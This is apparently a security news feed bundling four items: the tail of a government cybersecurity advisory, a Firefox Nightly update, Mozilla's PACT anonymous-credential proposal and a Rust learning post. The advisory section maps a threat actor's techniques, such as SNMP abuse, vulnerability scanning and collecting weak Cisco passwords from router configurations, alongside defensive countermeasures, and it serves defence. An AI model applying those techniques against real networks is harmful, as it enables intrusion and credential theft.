New Zealand organizations

United Kingdom organizations

Estonia organizations

Finnish organizations

French organizations

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance

Technique Title

ID

Use
Active Scanning: Scanning IP Blocks T1595.001 Scan range of IP addresses
Active Scanning: Vulnerability Scanning T1595.002 Scan victims for vulnerabilities that can be used during targeting
Table 2: Resource Development

Technique Title

ID

Use
Acquire Infrastructure: Virtual Private Servers  T1583.003  Leverage VPS as infrastructure 
Compromise Infrastructure: Network Devices  T1584.008  Compromise intermediate routers 
Obtain Capabilities: Exploits  T1588.005  Use publicly available code to exploit vulnerable devices 
Table 3: Initial Access

Technique Title

ID

Use
Exploit Public-Facing Application  T1190  Exploit publicly known CVEs 
Proxy T1090 Use a connection proxy to direct network traffic 
Table 4: Execution

Technique Title

ID

Use
System Services T1569 Executing commands via SNMP
Table 5: Privilege Escalation

Technique Title

ID

Use
Exploitation for Privilege Escalation T1068 Exploit publicly known CVEs for escalated privileges
Table 6: Stealth

Technique Title

ID

Use
Obfuscated Files or Information T1027 Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses
Table 7: Credential Access

Technique Title

ID

Use
OS Credential Dumping T1003 Collect router configuration with weak Cisco Type 7 passwords and Type 0
Table 8: Collection

Technique Title

ID

Use
Data from Configuration Repository: SNMP (MIB Dump)  T1602.001  Target MIB to collect network information via SNMP 
Data from Configuration Repository: Network Device Configuration Dump T1602.002 Acquire credentials by collecting network device configurations
Table 9: Command and Control

Technique Title

ID

Use
Proxy  T1090  Use VPS for C2 
Application Layer Protocol  T1071  Open and expose a variety of different services, including TFTP and FTP
Table 10: Exfiltration

Technique Title

ID

Use
Exfiltration Over Alternative Protocol T1048 Exfiltrating over a different protocol than that of the existing command and control channel. 

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures

Countermeasure Title

ID

Description
Application Configuration Hardening D3-ACH
  • Use SNMPv3 and disable SNMPv1 and SNMPv2. 
  • Use SNMP allowlisting to restrict access to OIDs and MIBs. 
  • Disable Cisco Smart Install.
Message Authentication D3-MAN
  • Use SNMPv3 with strong authentication.
Message Encryption D3-MENCR
  • Use SNMPv3 to encrypt payloads.
Credential Hardening D3-CH
  • Use strong, unique passwords and store them securely.
Platform Monitoring D3-PM
  • Monitor for unusual credentials. 
  • Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering D3-NTF
  • Use ACLs to only allow management protocols from management devices. 
  • Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment D3-NVA
  • Use an attack surface management service.
]]> <![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]> https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ Sat, 25 Jul 2026 08:37:35 +0200 💾 Tools tsecurity.de Highlights
  • The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
    • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
    • You will be able to manage this feature in Settings under Sync (for now)
      • Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button.
    • You can read more about the feature here
  • As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
  • Adaptive autofill has been enabled on Nightly.
    • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
  • Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
    • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
    • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
    • Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • aoia7rz7l
  • Chukwuka Rosemary
  • DrSeed
  • FrĂŠdĂŠric Wang NĂŠlar
  • japandi
  • John Iweh
  • jonathancabera
  • Josh Aas
  • Keji Bakare
  • kofoworola shonuyi
  • konyhĂŠa
  • liz
  • Mathew Hodson
  • Okhuomon Ajayi
  • Oluwatobi
  • ROSHAAN
  • Sam Johnson

New contributors (🌟 = first patch)

 

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
    • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes
WebExtensions Framework
  • Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
    • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
  • Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
    • Thanks to Simon Farre for promptly investigating and fixing this recent regression!
WebExtension APIs
  • Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
    • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

Fluent

  • We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
  • Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system.

Migration Improvements

New Tab Page

Search and Urlbar

  • Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
  • Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
  • Work also continues on the new Nova layouts.

Smart Window

  • uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
    • jump to bottom of conversation 2028692
    • stop streaming button 2029204
    • back/forward navigation from assistant 2029229
    • dark mode for various chips 2024499
  • search engine switching from smart bar 2021973
  • Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

UX Fundamentals

  • The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
  • In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

]]> <![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]> https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ Sat, 25 Jul 2026 08:37:27 +0200 💾 Tools tsecurity.de This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

A diagram showing the protocol flow for Privacy Pass.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

A diagram showing an overview of the PACT system

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

A diagram showing the PACT Anchor Flow

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

A diagram showing the protocol flow between Anchors and Moderators

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

A diagram showing the PACT Moderator Flow

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele OrrÚ, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

]]> <![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]> https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/ Sat, 25 Jul 2026 08:37:24 +0200 💾 Tools tsecurity.de This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

